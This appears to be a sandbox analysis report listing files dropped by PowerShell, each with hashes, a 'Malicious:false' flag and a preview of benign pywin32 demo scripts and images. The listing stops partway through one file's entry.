              Preview:# 'Request' example added jjk 11/20/98..import dde.import win32ui..server = dde.CreateServer().server.Create("TestClient")..conversation = dde.CreateConversation(server)..conversation.ConnectTo("RunAny", "RunAnyCommand").conversation.Exec("DoSomething").conversation.Exec("DoSomethingElse")..conversation.ConnectTo("RunAny", "ComputeStringLength").s = "abcdefghi".sl = conversation.Request(s).print('length of "%s" is %s' % (s, sl)).

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\Demos\dde\ddeserver.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):1093
              Entropy (8bit):4.931498351786163
              Encrypted:false
              SSDEEP:
              MD5:3F9B69FE31E611D153BE7DF14BAF4C0D
              SHA1:B2ABC26EC0E8C5C849873A3EBC65D14555279B1B
              SHA-256:BDB3478C65F4F8AE8FD7AF89F87C8BD24EAC5B92B9146E4A42E699CAC6342B5A
              SHA-512:94FCF00EFA048DCE40A2753BE45CC8C9C475893BD1DBD2C050631C877A097E5FAEFAE1A34B47099C6C14B000DFAFF6EE4F7864250F8A4FE7D5A1230ABAB8E18E
              Malicious:false
              Reputation:unknown
              Preview:# 'Request' example added jjk 11/20/98..import dde.import win32ui.from pywin.mfc import object...class MySystemTopic(object.Object):. def __init__(self):. object.Object.__init__(self, dde.CreateServerSystemTopic()).. def Exec(self, cmd):. print("System Topic asked to exec", cmd)...class MyOtherTopic(object.Object):. def __init__(self, topicName):. object.Object.__init__(self, dde.CreateTopic(topicName)).. def Exec(self, cmd):. print("Other Topic asked to exec", cmd)...class MyRequestTopic(object.Object):. def __init__(self, topicName):. topic = dde.CreateTopic(topicName). topic.AddItem(dde.CreateStringItem("")). object.Object.__init__(self, topic).. def Request(self, aString):. print("Request Topic asked to compute length of:", aString). return str(len(aString))...server = dde.CreateServer().server.AddTopic(MySystemTopic()).server.AddTopic(MyOtherTopic("RunAnyCommand")).server.AddTopic(MyRequestTopic("Com

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\Demos\desktopmanager.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):8141
              Entropy (8bit):4.832909840782592
              Encrypted:false
              SSDEEP:
              MD5:FF37EA7B3799F4BD22071D7DCB0C7FC7
              SHA1:59C09297374FC5AC1EF12A9E4DC8C5E6494F0B7C
              SHA-256:D7A85B4943DFC4F90973D46EF55DBEE8642BB24177EF95E561D5AFDD7462E018
              SHA-512:072ABEDC346D3F13DCA1026F854915EB38D5A476E30E349A6C16C41DF852BD217001B52F84A00693FEECC8FAB94849C8B93104F43843C796872A0A908DDA26C9
              Malicious:false
              Reputation:unknown
              Preview:# Demonstrates using a taskbar icon to create and navigate between desktops..import _thread.import io.import time.import traceback..import pywintypes.import win32api.import win32con.import win32gui.import win32process.import win32service..## "Shell_TrayWnd" is class of system tray window, broadcasts "TaskbarCreated" when initialized...def desktop_name_dlgproc(hwnd, msg, wparam, lparam):. """Handles messages from the desktop name dialog box""". if msg in (win32con.WM_CLOSE, win32con.WM_DESTROY):. win32gui.DestroyWindow(hwnd). elif msg == win32con.WM_COMMAND:. if wparam == win32con.IDOK:. desktop_name = win32gui.GetDlgItemText(hwnd, 72). print("new desktop name: ", desktop_name). win32gui.DestroyWindow(hwnd). create_desktop(desktop_name).. elif wparam == win32con.IDCANCEL:. win32gui.DestroyWindow(hwnd)...def get_new_desktop_name(parent_hwnd):. """Create a dialog box to ask the user for name of desktop

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\Demos\eventLogDemo.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):4421
              Entropy (8bit):4.394676077658835
              Encrypted:false
              SSDEEP:
              MD5:A787AB4A5D05E3A55541E621CC5FA92B
              SHA1:8212FEA481713144E60BC21F5AF8138955F65FF4
              SHA-256:26001027A54ABA3A92CD496D7AC0799BCB595C8B77E98FFA04E74F2CFFDCA113
              SHA-512:6AC6087DEAE2958DF2192312E05A89AAE6AC14D9E9AFAB844D218A20D1729CC0A0D6B8CCC9E5BF4115F5529FFB0BBCF0B3AAC05BC4710C9DE9941CE0B57EBCF5
              Malicious:false
              Reputation:unknown
              Preview:import win32api # To translate NT Sids to account names..import win32con.import win32evtlog.import win32evtlogutil.import win32security...def ReadLog(computer, logType="Application", dumpEachRecord=0):. # read the entire log back.. h = win32evtlog.OpenEventLog(computer, logType). numRecords = win32evtlog.GetNumberOfEventLogRecords(h). # print "There are %d records" % numRecords.. num = 0. while 1:. objects = win32evtlog.ReadEventLog(. h,. win32evtlog.EVENTLOG_BACKWARDS_READ | win32evtlog.EVENTLOG_SEQUENTIAL_READ,. 0,. ). if not objects:. break. for object in objects:. # get it for testing purposes, but dont print it.. msg = win32evtlogutil.SafeFormatMessage(object, logType). if object.Sid is not None:. try:. domain, user, typ = win32security.LookupAccountSid(. computer, object.Sid. )

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\Demos\getfilever.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text
              Category:dropped
              Size (bytes):1126
              Entropy (8bit):4.847240732987727
              Encrypted:false
              SSDEEP:
              MD5:4F0AC86AB91546ECFCD2EAEFEC6A9516
              SHA1:847E7F42C9D282A1B8A7DFBEF8918341B76CFD75
              SHA-256:6DB2C4E7E5D5EFB2673FD1860F51627F0B84DB21A68AC331C51B3AFB41F7B684
              SHA-512:7A41AB6EE47275F89BEC82CE0EF9C6D417E88DCC094C653F95D1ABB88E6FC3FBA4F96A423071A32FEB2A3A8DD2D8AC1CBC9E2A33DA4C917ED234F347D1CB987D
              Malicious:false
              Reputation:unknown
              Preview:import os..import win32api..ver_strings = (. "Comments",. "InternalName",. "ProductName",. "CompanyName",. "LegalCopyright",. "ProductVersion",. "FileDescription",. "LegalTrademarks",. "PrivateBuild",. "FileVersion",. "OriginalFilename",. "SpecialBuild",.).fname = os.environ["comspec"].d = win32api.GetFileVersionInfo(fname, "\\").## backslash as parm returns dictionary of numeric info corresponding to VS_FIXEDFILEINFO struc.for n, v in d.items():. print(n, v)..pairs = win32api.GetFileVersionInfo(fname, "\\VarFileInfo\\Translation").## \VarFileInfo\Translation returns list of available (language, codepage) pairs that can be used to retreive string info.## any other must be of the form \StringfileInfo\%04X%04X\parm_name, middle two are language/codepage pair returned from above.for lang, codepage in pairs:. print("lang: ", lang, "codepage:", codepage). for ver_string in ver_strings:. str_info = "\\StringFileInfo\\%04X%04X\\%s" % (lang,

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\Demos\images\frowny.bmp

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:PC bitmap, Windows 3.x format, 32 x 32 x 24, image size 3072, cbSize 3126, bits offset 54
              Category:dropped
              Size (bytes):3126
              Entropy (8bit):4.866601281143834
              Encrypted:false
              SSDEEP:
              MD5:67D3F80FA18D9298FB9BD346BF1905F3
              SHA1:8528E2B4B8E8681828518337925D2876809B7454
              SHA-256:4601AF795B74E772A5995E2A546C1D0ADACFC91034253E7B290BDFF4F34E22F5
              SHA-512:F52A0DF170AF6E1A43947C66EE5C97B9A2A7669A21FDABA24490CB97C5FD8450920E79AA2205D3E11DD7484D2CE95FAA7043D621E278025A9081C5F060BA7347
              Malicious:false
              Reputation:unknown
              Preview:BM6.......6...(... ... ...........................................................................................................................................................................................................................................................................................@..@............................................................................................@..@........................................................................................."..$..&.... .. ..*..*.............................................................................."..$.... .. ..*..*....................................#.$#.$......................................."..$..&..)..+......................................#.$#.$.........................................."..$..&..)........................................................................................."..$..&..)..+................................$....................................................."..$..&..)

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\Demos\images\smiley.bmp

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:PC bitmap, Windows 3.x format, 32 x 32 x 24, image size 3072, cbSize 3126, bits offset 54
              Category:dropped
              Size (bytes):3126
              Entropy (8bit):4.039217657290414
              Encrypted:false
              SSDEEP:
              MD5:CA4F178B4A665A1DA21AEA80C7E796F7
              SHA1:3A7E64ADC019F45290C43B04E6A1072A55470586
              SHA-256:C22E778D80B2E76DDF1588FF1588331B577141D12BC3EA30DBFFDD7E85FD82C0
              SHA-512:97BDC1BAE0FAC2582ABF11F318937318D33EFF1664CCE499C4D95316A25CB87B0599E9E4CAA5D911B0F465E4F491A4E2F23E4EE87E14D9A0C8CE1FD6150982E9
              Malicious:false
              Reputation:unknown
              Preview:BM6.......6...(... ... .................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................#.$#.$..........................................................................................#.$#.$..........................................................................................................................................................................................$...............................................................

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\Demos\mmapfile_demo.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script text executable Python script, ASCII text executable
              Category:dropped
              Size (bytes):2888
              Entropy (8bit):4.8375775005209265
              Encrypted:false
              SSDEEP:
              MD5:A333358AEA4B17F65D614B8ABFE55ED4
              SHA1:94F0486D40A0D9A6C65AE10CDD78122B37DB7F24
              SHA-256:FFED0CEB4B51A0800A19600776E389A112E465E842BCFC98EDE1E8426AF0DF5F
              SHA-512:F6B99C26C726D736A119AA10A4907AB61E8FA36CBB138EC7FAFBAD1E68A55BFC78F300B214639C7BB25F0DD1F6810F8E1AE7A1DE4C23FF43917C3E22A59AA45B
              Malicious:false
              Reputation:unknown
              Preview:import os.import tempfile..import mmapfile.import win32api.import winerror.from pywin32_testutil import str2bytes..system_info = win32api.GetSystemInfo().page_size = system_info[1].alloc_size = system_info[7]..fname = tempfile.mktemp().mapping_name = os.path.split(fname)[1].fsize = 8 * page_size.print(fname, fsize, mapping_name)..m1 = mmapfile.mmapfile(File=fname, Name=mapping_name, MaximumSize=fsize).m1.seek(100).m1.write_byte(str2bytes("?")).m1.seek(-1, 1).assert m1.read_byte() == str2bytes("?")..## A reopened named mapping should have exact same size as original mapping.m2 = mmapfile.mmapfile(Name=mapping_name, File=None, MaximumSize=fsize * 2).assert m2.size() == m1.size().m1.seek(0, 0).m1.write(fsize * str2bytes("s")).assert m2.read(fsize) == fsize * str2bytes("s")..move_src = 100.move_dest = 500.move_size = 150..m2.seek(move_src, 0).assert m2.tell() == move_src.m2.write(str2bytes("m") * move_size).m2.move(move_dest, move_src, move_size).m2.seek(move_dest, 0).assert m2.read(move_s

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\Demos\pipes\cat.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):335
              Entropy (8bit):4.496864057756722
              Encrypted:false
              SSDEEP:
              MD5:9958EDE52157CBF9F56DFF07C4499108
              SHA1:5D1EABF96A11361804DDA8FB94BF9E3E902FA540
              SHA-256:DA45A4922FA32C3668876043811CCCC43198C89C263B17FBD3CDE4BDDD988496
              SHA-512:575187E4345C37B119838503400E938560BF5AAEE2B6CAAA62835BAC76EA832DC06E779C35EE898748116FA69807ABA580D5462490BE7738E2BC029E9855FBC1
              Malicious:false
              Reputation:unknown
              Preview:"""cat.py.a version of unix cat, tweaked to show off runproc.py."""..import sys..data = sys.stdin.read(1).sys.stdout.write(data).sys.stdout.flush().while data:. data = sys.stdin.read(1). sys.stdout.write(data). sys.stdout.flush().# Just here to have something to read from stderr..sys.stderr.write("Blah...")..# end of cat.py.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\Demos\pipes\runproc.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):4029
              Entropy (8bit):4.550391036233513
              Encrypted:false
              SSDEEP:
              MD5:EA0603E314B6C0CB3396B100E9AA1A2C
              SHA1:FE3D6C231A64E599C31582F58FD2B45C014C728B
              SHA-256:837AADE7BA490576FD507189F3BDA6EB0521F56EF44822A8BCD1057D1E271F08
              SHA-512:3A58C4569855F08E252D5C339A6B80308EA1FAD4168E9F50B9387631CFC118DEAD08F56DFA8D718614A24FC17F956637DEB10F36CAC95711C5A2A757941049DE
              Malicious:false
              Reputation:unknown
              Preview:"""runproc.py..start a process with three inherited pipes..Try to write to and read from those.."""..import msvcrt.import os..import win32api.import win32con.import win32file.import win32pipe.import win32process.import win32security...class Process:. def run(self, cmdline):. # security attributes for pipes. sAttrs = win32security.SECURITY_ATTRIBUTES(). sAttrs.bInheritHandle = 1.. # create pipes. hStdin_r, self.hStdin_w = win32pipe.CreatePipe(sAttrs, 0). self.hStdout_r, hStdout_w = win32pipe.CreatePipe(sAttrs, 0). self.hStderr_r, hStderr_w = win32pipe.CreatePipe(sAttrs, 0).. # set the info structure for the new process.. StartupInfo = win32process.STARTUPINFO(). StartupInfo.hStdInput = hStdin_r. StartupInfo.hStdOutput = hStdout_w. StartupInfo.hStdError = hStderr_w. StartupInfo.dwFlags = win32process.STARTF_USESTDHANDLES. # Mark doesn't support wShowWindow yet.. # StartupInfo.dwFla

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\Demos\print_desktop.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text
              Category:dropped
              Size (bytes):2859
              Entropy (8bit):5.16397412167526
              Encrypted:false
              SSDEEP:
              MD5:6358F39A6DC68902315A154AA803745C
              SHA1:32C7399756A96B1A7EC0CEC7708713B7A7B5A904
              SHA-256:008B4576E46966832603683F16735B22AD0950969DFA362FF593E169C665EB12
              SHA-512:F8492FE12112BA5F792D30E733F7530D40F1B0A4E39A2970CD70B3785B3EE68B3CF86B1E8DFFEDD949F1CE4718AA80CEC2E433076D416E6B9E2C71273A5C3968
              Malicious:false
              Reputation:unknown
              Preview:import pywintypes.import win32api.import win32con.import win32gui.import win32print..pname = win32print.GetDefaultPrinter().print(pname).p = win32print.OpenPrinter(pname).print("Printer handle: ", p).print_processor = win32print.GetPrinter(p, 2)["pPrintProcessor"].## call with last parm set to 0 to get total size needed for printer's DEVMODE.dmsize = win32print.DocumentProperties(0, p, pname, None, None, 0).## dmDriverExtra should be total size - fixed size.driverextra = (. dmsize - pywintypes.DEVMODEType().Size.) ## need a better way to get DEVMODE.dmSize.dm = pywintypes.DEVMODEType(driverextra).dm.Fields = dm.Fields | win32con.DM_ORIENTATION | win32con.DM_COPIES.dm.Orientation = win32con.DMORIENT_LANDSCAPE.dm.Copies = 2.win32print.DocumentProperties(. 0, p, pname, dm, dm, win32con.DM_IN_BUFFER | win32con.DM_OUT_BUFFER.)..pDC = win32gui.CreateDC(print_processor, pname, dm).printerwidth = win32print.GetDeviceCaps(pDC, win32con.PHYSICALWIDTH).printerheight = win32print.GetDeviceC

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\Demos\rastest.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):5119
              Entropy (8bit):4.511953665676077
              Encrypted:false
              SSDEEP:
              MD5:347610E8C7711F155A18C0D2F7C0352B
              SHA1:85807052AA60E4B5C373A4F58247F28D17687127
              SHA-256:7E0672B7B0DECDB4DE70FD6E60310F2C7680B6BB72637532CF9B1F7309C87C25
              SHA-512:74166363C0DF4D2E2AFE037DE405E964F57BD50DD5464D749861C46C4E1031969D13D62286283EA4EF202E04846DF86E34EEA47F554CDD259622185075975483
              Malicious:false
              Reputation:unknown
              Preview:# rastest.py - test/demonstrate the win32ras module..# Much of the code here contributed by Jethro Wright...import os.import sys..import win32ras..# Build a little dictionary of RAS states to decent strings..# eg win32ras.RASCS_OpenPort -> "OpenPort".stateMap = {}.for name, val in list(win32ras.__dict__.items()):. if name[:6] == "RASCS_":. stateMap[val] = name[6:]..# Use a lock so the callback can tell the main thread when it is finished..import win32event..callbackEvent = win32event.CreateEvent(None, 0, 0, None)...def Callback(hras, msg, state, error, exterror):. # print "Callback called with ", hras, msg, state, error, exterror. stateName = stateMap.get(state, "Unknown state?"). print("Status is %s (%04lx), error code is %d" % (stateName, state, error)). finished = state in [win32ras.RASCS_Connected]. if finished:. win32event.SetEvent(callbackEvent). if error != 0 or int(state) == win32ras.RASCS_Disconnected:. # we know for sure t

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\Demos\security\GetTokenInformation.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):3738
              Entropy (8bit):4.905364376160403
              Encrypted:false
              SSDEEP:
              MD5:7B913DC758A779FFDDEA7E0D37EBE7A5
              SHA1:663C68C7B556954444E5B5BAA991578B85A43871
              SHA-256:482D57BCEB5C175FFDB0C2BE6CD25CEF2131D8F327B47926C7DA699DB9A89A80
              SHA-512:C500AAB1BCD3DD9F005A65A173C0D0B63823952CE864BD0F4C10C44C549A86B02E437218720327E187C457666D5C94A2EFDE25A20E70BC4B62EC4655D44734DF
              Malicious:false
              Reputation:unknown
              Preview:""" Lists various types of information about current user's access token,. including UAC status on Vista."""..import pywintypes.import win32api.import win32con.import win32security.import winerror.from security_enums import (. SECURITY_IMPERSONATION_LEVEL,. TOKEN_ELEVATION_TYPE,. TOKEN_GROUP_ATTRIBUTES,. TOKEN_PRIVILEGE_ATTRIBUTES,. TOKEN_TYPE,.)...def dump_token(th):. token_type = win32security.GetTokenInformation(th, win32security.TokenType). print("TokenType:", token_type, TOKEN_TYPE.lookup_name(token_type)). if token_type == win32security.TokenImpersonation:. imp_lvl = win32security.GetTokenInformation(. th, win32security.TokenImpersonationLevel. ). print(. "TokenImpersonationLevel:",. imp_lvl,. SECURITY_IMPERSONATION_LEVEL.lookup_name(imp_lvl),. ).. print(. "TokenSessionId:",. win32security.GetTokenInformation(th, win32security.TokenSessionId),. ).. privs = win

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\Demos\security\account_rights.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):1601
              Entropy (8bit):5.2466444341148915
              Encrypted:false
              SSDEEP:
              MD5:A8EB3625681C9A6CC94C98E822B01430
              SHA1:866FD6D4341E8063991E151E331790C267719092
              SHA-256:16CA9F905009A0526D1D5ED466271F86F4F75663AE2E6AE7DA22A5E5AA585CDF
              SHA-512:C33BB12877845E24DA0529F2C2CE99B82DC5F83312D027E2FCBD7CF22B7441E205BFB3E508293E73D7F4C95ECC4FF79F8C2092720E6CD19A5B98A1F59CCC1628
              Malicious:false
              Reputation:unknown
              Preview:import ntsecuritycon.import win32api.import win32con.import win32file.import win32security.from security_enums import ACCESS_MODE, ACE_FLAGS, TRUSTEE_FORM, TRUSTEE_TYPE..new_privs = (. (. win32security.LookupPrivilegeValue("", ntsecuritycon.SE_SECURITY_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", ntsecuritycon.SE_CREATE_PERMANENT_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", "SeEnableDelegationPrivilege"),. win32con.SE_PRIVILEGE_ENABLED,. ), ##doesn't seem to be in ntsecuritycon.py ?.)..ph = win32api.GetCurrentProcess().th = win32security.OpenProcessToken(. ph, win32security.TOKEN_ALL_ACCESS.) ##win32con.TOKEN_ADJUST_PRIVILEGES).win32security.AdjustTokenPrivileges(th, 0, new_privs)..policy_handle = win32security.GetPolicyHandle("", win32security.POLICY_ALL_ACCESS).tmp_sid = win32security.LookupAccountName("", "tmp")[0]..privs = [. ntsecuri

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\Demos\security\explicit_entries.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):4982
              Entropy (8bit):5.24705878297574
              Encrypted:false
              SSDEEP:
              MD5:ECA138C7B9FBBEDA6649E1E09F0DF95D
              SHA1:D396A7CF23F109CC687B2D65A39EBC8631D5501B
              SHA-256:9A5B596AB47503F4E5FCB0D02D1B21C1AD94F1F036B981A99F4FE9C8501CA139
              SHA-512:1600C901014A6FCA6CCA41EAC797A6FA340E994D8613130074E2872FF294B09A6B76916A732DB31CF50E941591DCC12BB8BEC5D4494921AA67AFBBDCBAB6A2C3
              Malicious:false
              Reputation:unknown
              Preview:import os..import ntsecuritycon.import win32api.import win32con.import win32file.import win32security.from security_enums import ACCESS_MODE, ACE_FLAGS, TRUSTEE_FORM, TRUSTEE_TYPE..fname = os.path.join(win32api.GetTempPath(), "win32security_test.txt").f = open(fname, "w").f.write("Hello from Python\n").f.close().print("Testing on file", fname)..new_privs = (. (. win32security.LookupPrivilegeValue("", ntsecuritycon.SE_SECURITY_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", ntsecuritycon.SE_SHUTDOWN_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", ntsecuritycon.SE_RESTORE_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", ntsecuritycon.SE_TAKE_OWNERSHIP_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", ntsecuritycon.SE_CREATE_PERMANENT_NAME),. win3

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\Demos\security\get_policy_info.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text
              Category:dropped
              Size (bytes):1243
              Entropy (8bit):4.826107186911052
              Encrypted:false
              SSDEEP:
              MD5:474FBFA718653659E1E7041B60B5CDC1
              SHA1:BDAD73C99EBB28EB782B81F6B9365C8D9F53A429
              SHA-256:EE3264A6EA5BC3EF455DB3B1308E6D6EFD153736B3864C6AFFE3CF83A4C1DD29
              SHA-512:952543CA9A75A9D3F3CB0B6C573AE1CA58849370EF5FD4D3A2A5D3DB6BEBAADC54EE226C317F8C9DE1C6C101BE4DB82F692D284C722D3873ED82F9405B1660AE
              Malicious:false
              Reputation:unknown
              Preview:import ntsecuritycon.import win32api.import win32file.import win32security..policy_handle = win32security.GetPolicyHandle("rupole", win32security.POLICY_ALL_ACCESS)..## mod_nbr, mod_time = win32security.LsaQueryInformationPolicy(policy_handle,win32security.PolicyModificationInformation).## print mod_nbr, mod_time..(. domain_name,. dns_domain_name,. dns_forest_name,. domain_guid,. domain_sid,.) = win32security.LsaQueryInformationPolicy(. policy_handle, win32security.PolicyDnsDomainInformation.).print(domain_name, dns_domain_name, dns_forest_name, domain_guid, domain_sid)..event_audit_info = win32security.LsaQueryInformationPolicy(. policy_handle, win32security.PolicyAuditEventsInformation.).print(event_audit_info)..domain_name, sid = win32security.LsaQueryInformationPolicy(. policy_handle, win32security.PolicyPrimaryDomainInformation.).print(domain_name, sid)..domain_name, sid = win32security.LsaQueryInformationPolicy(. policy_handle, win32security.PolicyAccou

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\Demos\security\list_rights.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):1142
              Entropy (8bit):5.222962792869748
              Encrypted:false
              SSDEEP:
              MD5:3C91061F858441D3452E1DF39EA29436
              SHA1:1F0B24F95ADB0023492501653F89647D4AA4AE1F
              SHA-256:68A481C6BCD6FCDA88A0C957BFDF2CEFDAEE895E4FD1E61C00FF24792095A883
              SHA-512:64C9FA96B29218FE2E8F408633A4E4F76A4B2D5167DE27B4DBA5B11C357D6AA80313C6C5E6079FD77F453C1FD6021DE13BEDDEE61EE0373FF8F4E35FCD0A0152
              Malicious:false
              Reputation:unknown
              Preview:import ntsecuritycon.import win32api.import win32con.import win32file.import win32security.from security_enums import ACCESS_MODE, ACE_FLAGS, TRUSTEE_FORM, TRUSTEE_TYPE..new_privs = (. (. win32security.LookupPrivilegeValue("", ntsecuritycon.SE_SECURITY_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", ntsecuritycon.SE_CREATE_PERMANENT_NAME),. win32con.SE_PRIVILEGE_ENABLED,. ),. (. win32security.LookupPrivilegeValue("", "SeEnableDelegationPrivilege"),. win32con.SE_PRIVILEGE_ENABLED,. ), ##doesn't seem to be in ntsecuritycon.py ?.)..ph = win32api.GetCurrentProcess().th = win32security.OpenProcessToken(. ph, win32security.TOKEN_ALL_ACCESS.) ##win32con.TOKEN_ADJUST_PRIVILEGES).win32security.AdjustTokenPrivileges(th, 0, new_privs)..policy_handle = win32security.GetPolicyHandle("", win32security.POLICY_ALL_ACCESS)..sidlist = win32security.LsaEnumerateAccountsWithUserRight(. policy_handle,

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\Demos\security\louserzed_names.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):2014
              Entropy (8bit):4.963463813027583
              Encrypted:false
              SSDEEP:
              MD5:42D316038232ACEB8893229577D4388C
              SHA1:100EDC412265A66533472CC3117FCCB93866E1E2
              SHA-256:774AA56DBC4A7E982740EF586FC1A12584591D8B5EACC00E9E7FCEE81691A3B0
              SHA-512:0502AB71542AE07E451BE1EBCBE8755785D915F1F1AB16D3181EB03FB359A17353418767EEC64F5AB66B20EB41C97977B244EAEA32FBA8CB237D3AAA2556D71F
              Malicious:false
              Reputation:unknown
              Preview:# A Python port of the MS knowledge base article Q157234.# "How to deal with louserzed and renamed user and group names".# http://support.microsoft.com/default.aspx?kbid=157234..import sys..import pywintypes.from ntsecuritycon import *.from win32net import NetUserModalsGet.from win32security import LookupAccountSid...def LookupAliasFromRid(TargetComputer, Rid):. # Sid is the same regardless of machine, since the well-known. # BUILTIN domain is referenced.. sid = pywintypes.SID(). sid.Initialize(SECURITY_NT_AUTHORITY, 2).. for i, r in enumerate((SECURITY_BUILTIN_DOMAIN_RID, Rid)):. sid.SetSubAuthority(i, r).. name, domain, typ = LookupAccountSid(TargetComputer, sid). return name...def LookupUserGroupFromRid(TargetComputer, Rid):. # get the account domain Sid on the target machine. # note: if you were looking up multiple sids based on the same. # account domain, only need to call this once.. umi2 = NetUserModalsGet(TargetComputer, 2). domain_sid

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\Demos\security\lsaregevent.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text
              Category:dropped
              Size (bytes):532
              Entropy (8bit):4.892813022065808
              Encrypted:false
              SSDEEP:
              MD5:7FE72D1C66C68BF2236E8E5B4E06AD82
              SHA1:EAC9ACD7D5E552EDBC404028CAA862CD39574F23
              SHA-256:635057C3AFDD79AA63C70008E849DBE16DE3C3F0C42E46756AD66B3AC8B3A555
              SHA-512:FFC8ECB562BA19C51885C3BDFC7DFAEE8C76BF548E7F947B9637BAB7CAB7FD8384BED963EB3D62915ADDBA672AE283BCF25AD752F582E8DF762E014457B0711B
              Malicious:false
              Reputation:unknown
              Preview:import win32event.import win32security..evt = win32event.CreateEvent(None, 0, 0, None).win32security.LsaRegisterPolicyChangeNotification(. win32security.PolicyNotifyAuditEventsInformation, evt.).print("Waiting for you change Audit policy in Management console ...").ret_code = win32event.WaitForSingleObject(evt, 1000000000).## should come back when you change Audit policy in Management console ....print(ret_code).win32security.LsaUnregisterPolicyChangeNotification(. win32security.PolicyNotifyAuditEventsInformation, evt.).

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\Demos\security\lsastore.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text
              Category:dropped
              Size (bytes):472
              Entropy (8bit):4.864220721097227
              Encrypted:false
              SSDEEP:
              MD5:39AC2663BCC3306EC873C140CAE98CD7
              SHA1:DE14DA2DCEA2D2DCCC06323E81C2C4A58602CD36
              SHA-256:737176D134E0A8117D2AB9539CAB55D7D30BCF7E2ADD7F7C6B3BF65409B8256F
              SHA-512:6F72B6911C916E7DE0FC27F57618464150A2A1934E427B8BBFE1131EC574FFA6619AED33E1583520140B0B66DFB039329B0683AF0FBCD8965B6223A3E54108B3
              Malicious:false
              Reputation:unknown
              Preview:import win32security..policy_handle = win32security.GetPolicyHandle("", win32security.POLICY_ALL_ACCESS).privatedata = "some sensitive data".keyname = "tmp".win32security.LsaStorePrivateData(policy_handle, keyname, privatedata).retrieveddata = win32security.LsaRetrievePrivateData(policy_handle, keyname).assert retrieveddata == privatedata..## passing None deletes key.win32security.LsaStorePrivateData(policy_handle, keyname, None).win32security.LsaClose(policy_handle).

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\Demos\security\query_information.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):791
